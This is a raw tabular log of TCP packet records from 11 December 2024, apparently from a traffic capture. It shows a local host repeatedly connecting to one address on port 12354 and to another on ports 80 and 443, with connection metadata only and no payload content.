Dec 11, 2024 16:27:53.918557882 CET	63232	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:53.924285889 CET	64750	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:53.924338102 CET	443	64750	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:53.929213047 CET	64750	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:53.929213047 CET	64750	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:53.929265022 CET	443	64750	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:54.405000925 CET	12354	63134	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:54.406472921 CET	63134	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:54.408042908 CET	63134	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:54.408742905 CET	65078	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:54.457349062 CET	12354	63230	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:54.457410097 CET	63230	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:54.457761049 CET	63230	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:54.525949955 CET	65137	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:54.528630972 CET	12354	63134	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:54.529237986 CET	12354	65078	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:54.529323101 CET	65078	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:54.530028105 CET	65078	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:54.576946020 CET	12354	63230	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:54.645427942 CET	12354	65137	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:54.645498991 CET	65137	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:54.646612883 CET	65137	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:54.649391890 CET	12354	65078	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:54.765917063 CET	12354	65137	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:55.613444090 CET	443	64750	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:55.613555908 CET	64750	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:55.614223003 CET	443	64750	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:55.614283085 CET	64750	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:55.619769096 CET	64750	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:55.619836092 CET	443	64750	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:55.619893074 CET	64750	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:55.749176025 CET	63232	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:55.750808001 CET	49815	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:56.023370981 CET	80	49815	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:56.023508072 CET	49815	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:56.024127007 CET	80	63232	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:56.024153948 CET	49815	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:56.024194956 CET	63232	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:56.099697113 CET	65137	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:56.099720001 CET	65078	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:56.099745035 CET	49815	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:56.100250959 CET	50319	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:56.143688917 CET	80	49815	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:56.143798113 CET	49815	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:56.221697092 CET	12354	50319	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:56.221826077 CET	50319	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:56.236771107 CET	50319	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:56.242023945 CET	50388	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:56.249216080 CET	50389	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:56.358402014 CET	12354	50319	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:56.363285065 CET	12354	50388	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:56.363363981 CET	50388	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:56.366401911 CET	50388	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:56.369875908 CET	80	50389	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:56.369946003 CET	50389	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:56.376275063 CET	50389	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:56.485572100 CET	12354	50388	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:56.495619059 CET	80	50389	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:57.941943884 CET	80	50389	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:57.942032099 CET	50389	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:57.956396103 CET	51311	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:57.956449032 CET	443	51311	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:57.956516027 CET	51311	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:57.957854033 CET	51311	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:57.957873106 CET	443	51311	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:58.330971956 CET	12354	50319	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:58.331065893 CET	50319	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:58.334348917 CET	50319	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:58.334985018 CET	51750	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:58.454371929 CET	12354	50319	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:58.454879999 CET	12354	51750	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:58.454946041 CET	51750	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:58.456039906 CET	51750	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:58.471740007 CET	12354	50388	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:58.471805096 CET	50388	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:58.472107887 CET	50388	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:58.473530054 CET	51800	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:58.575330019 CET	12354	51750	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:58.591403008 CET	12354	50388	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:58.592797041 CET	12354	51800	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:58.592869997 CET	51800	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:58.593719006 CET	51800	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:58.712996960 CET	12354	51800	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:59.662595034 CET	443	51311	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:59.662694931 CET	51311	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:59.663335085 CET	443	51311	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:59.664318085 CET	51311	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:59.667737007 CET	51311	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:59.667782068 CET	443	51311	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:59.667929888 CET	443	51311	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:59.667956114 CET	51311	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:59.668062925 CET	51311	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:59.775410891 CET	50389	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:59.775410891 CET	52920	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:59.894886017 CET	80	52920	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:59.895035028 CET	80	50389	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:59.895123005 CET	50389	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:59.895133972 CET	52920	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:59.895617962 CET	52920	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:00.020976067 CET	80	52920	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:00.268198967 CET	52920	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:00.268228054 CET	51800	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:00.268318892 CET	51750	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:00.269521952 CET	53356	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:00.389519930 CET	12354	53356	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:00.389610052 CET	53356	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:00.390000105 CET	53356	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:00.404366016 CET	53423	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:00.410218954 CET	53424	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:00.509569883 CET	12354	53356	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:00.523891926 CET	80	53423	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:00.523964882 CET	53423	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:00.524893045 CET	53423	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:00.529571056 CET	12354	53424	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:00.529633045 CET	53424	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:00.530038118 CET	53424	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:00.644182920 CET	80	53423	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:00.649358034 CET	12354	53424	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:02.095663071 CET	80	53423	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:02.095900059 CET	53423	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:02.266380072 CET	54695	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:02.266426086 CET	443	54695	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:02.270486116 CET	54695	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:02.491710901 CET	54695	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:02.491744041 CET	443	54695	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:02.511753082 CET	12354	53356	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:02.511852026 CET	53356	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:02.511905909 CET	53356	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:02.512959957 CET	54703	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:02.631437063 CET	12354	53356	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:02.634399891 CET	12354	54703	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:02.634495020 CET	54703	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:02.648320913 CET	12354	53424	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:02.648457050 CET	53424	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:02.686748028 CET	54703	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:02.686906099 CET	53424	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:02.691509008 CET	54705	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:02.806020975 CET	12354	54703	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:02.806612015 CET	12354	53424	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:02.810787916 CET	12354	54705	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:02.810861111 CET	54705	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:02.816430092 CET	54705	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:02.935859919 CET	12354	54705	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:04.177196026 CET	443	54695	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:04.177280903 CET	54695	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:04.177968025 CET	443	54695	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:04.178033113 CET	54695	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:04.181746006 CET	54695	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:04.181808949 CET	443	54695	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:04.181868076 CET	54695	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:04.292865992 CET	53423	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:04.293241978 CET	55973	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:04.396634102 CET	54705	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:04.396716118 CET	54703	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:04.399816990 CET	56040	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:04.414064884 CET	80	55973	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:04.414125919 CET	55973	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:04.415254116 CET	80	53423	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:04.415340900 CET	53423	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:04.516252995 CET	56089	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:04.519165993 CET	12354	56040	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:04.519310951 CET	56040	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:04.520282030 CET	56040	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:04.635874033 CET	12354	56089	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:04.636178970 CET	56089	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:04.639669895 CET	12354	56040	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:04.639851093 CET	56089	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:04.759255886 CET	12354	56089	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:05.204830885 CET	56510	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:05.325463057 CET	80	56510	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:05.325556040 CET	56510	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:05.326046944 CET	56510	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:05.446157932 CET	80	56510	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:06.628433943 CET	12354	56040	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:06.628510952 CET	56040	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:06.629776001 CET	56040	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:06.630194902 CET	57995	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:06.754040956 CET	12354	56089	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:06.754101038 CET	56089	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:06.754285097 CET	56089	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:06.754844904 CET	58104	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:06.780275106 CET	12354	56040	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:06.780287027 CET	12354	57995	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:06.780379057 CET	57995	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:06.790226936 CET	57995	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:06.874620914 CET	12354	56089	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:06.874634981 CET	12354	58104	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:06.874733925 CET	58104	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:06.900876999 CET	80	56510	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:06.900928020 CET	56510	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:06.909641027 CET	12354	57995	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:06.926062107 CET	58104	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:06.935476065 CET	58108	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:06.935520887 CET	443	58108	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:06.935609102 CET	58108	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:06.937660933 CET	58108	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:06.937675953 CET	443	58108	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:07.046992064 CET	12354	58104	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:08.414094925 CET	58108	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:08.414103031 CET	57995	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:08.414652109 CET	58104	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:08.415870905 CET	58925	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:08.528861046 CET	59001	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:08.529315948 CET	56510	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:08.529653072 CET	59003	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:08.536005020 CET	12354	58925	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:08.536078930 CET	58925	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:08.536899090 CET	58925	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:08.648730040 CET	12354	59001	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:08.648824930 CET	59001	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:08.648905993 CET	80	59003	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:08.648956060 CET	59003	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:08.649415016 CET	80	56510	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:08.649492025 CET	56510	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:08.649928093 CET	59001	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:08.650288105 CET	59003	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:08.656219959 CET	12354	58925	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:08.771348953 CET	12354	59001	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:08.772165060 CET	80	59003	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:10.223220110 CET	80	59003	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:10.223309040 CET	59003	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:10.229080915 CET	60339	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:10.229106903 CET	443	60339	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:10.229216099 CET	60339	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:10.230201006 CET	60339	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:10.230210066 CET	443	60339	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:10.644181967 CET	12354	58925	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:10.644257069 CET	58925	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:10.644659996 CET	58925	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:10.645211935 CET	60602	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:10.765706062 CET	12354	58925	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:10.766258001 CET	12354	60602	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:10.766401052 CET	60602	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:10.766680956 CET	60602	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:10.769231081 CET	12354	59001	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:10.769323111 CET	59001	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:10.769963980 CET	59001	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:10.770343065 CET	60708	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:10.891995907 CET	12354	60602	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:10.894932985 CET	12354	59001	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:10.895334005 CET	12354	60708	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:10.895418882 CET	60708	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:10.895688057 CET	60708	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:11.015254021 CET	12354	60708	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:11.920414925 CET	443	60339	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:11.920502901 CET	60339	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:11.921191931 CET	443	60339	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:11.924320936 CET	60339	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:11.928220987 CET	60339	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:11.928277016 CET	443	60339	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:11.928412914 CET	443	60339	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:11.928487062 CET	60339	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:11.928487062 CET	60339	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:12.039973021 CET	59003	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:12.040422916 CET	61850	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:12.160994053 CET	80	59003	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:12.161079884 CET	59003	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:12.161160946 CET	80	61850	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:12.161715984 CET	61850	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:12.162771940 CET	61850	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:12.286972046 CET	80	61850	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:12.433329105 CET	60708	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:12.433429956 CET	60602	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:12.433430910 CET	61850	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:12.439755917 CET	62276	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:12.541089058 CET	62337	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:12.559180021 CET	12354	62276	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:12.559245110 CET	62276	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:12.559402943 CET	62276	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:12.560769081 CET	62348	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:12.660598040 CET	12354	62337	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:12.660684109 CET	62337	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:12.661454916 CET	62337	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:12.681240082 CET	12354	62276	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:12.681261063 CET	80	62348	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:12.681348085 CET	62348	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:12.682157993 CET	62348	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:12.780823946 CET	12354	62337	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:12.802382946 CET	80	62348	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:14.252506971 CET	80	62348	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:14.252902031 CET	62348	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:14.258868933 CET	63694	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:14.258909941 CET	443	63694	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:14.265089035 CET	63694	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:14.265089035 CET	63694	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:14.265144110 CET	443	63694	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:14.679972887 CET	12354	62276	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:14.680114031 CET	62276	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:14.685724020 CET	62276	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:14.686640024 CET	64138	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:14.780464888 CET	12354	62337	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:14.780536890 CET	62337	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:14.781003952 CET	62337	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:14.791284084 CET	64191	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:14.805239916 CET	12354	62276	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:14.806299925 CET	12354	64138	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:14.806380987 CET	64138	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:14.831072092 CET	64138	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:14.900253057 CET	12354	62337	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:14.910573959 CET	12354	64191	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:14.910651922 CET	64191	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:14.911412001 CET	64191	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:14.950491905 CET	12354	64138	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:15.031076908 CET	12354	64191	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:15.959815979 CET	443	63694	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:15.959914923 CET	63694	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:15.960572958 CET	443	63694	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:15.960808039 CET	63694	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:15.966212988 CET	63694	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:15.966267109 CET	443	63694	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:15.966382980 CET	443	63694	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:15.966409922 CET	63694	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:15.966506958 CET	63694	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:16.073951006 CET	62348	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:16.074505091 CET	65362	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:16.196849108 CET	80	65362	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:16.197263002 CET	80	62348	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:16.197284937 CET	65362	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:16.197453976 CET	65362	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:16.197457075 CET	62348	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:16.318178892 CET	80	65362	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:16.443583012 CET	64138	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:16.443674088 CET	65362	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:16.443707943 CET	64191	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:16.444823980 CET	49432	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:16.561177015 CET	49506	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:16.562153101 CET	49507	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:16.565813065 CET	12354	49432	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:16.565881968 CET	49432	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:16.566375971 CET	49432	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:16.681207895 CET	80	49506	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:16.681271076 CET	49506	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:16.682158947 CET	12354	49507	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:16.682266951 CET	49507	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:16.682501078 CET	49506	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:16.682976961 CET	49507	12354	192.168.2.5	107.163.241.232
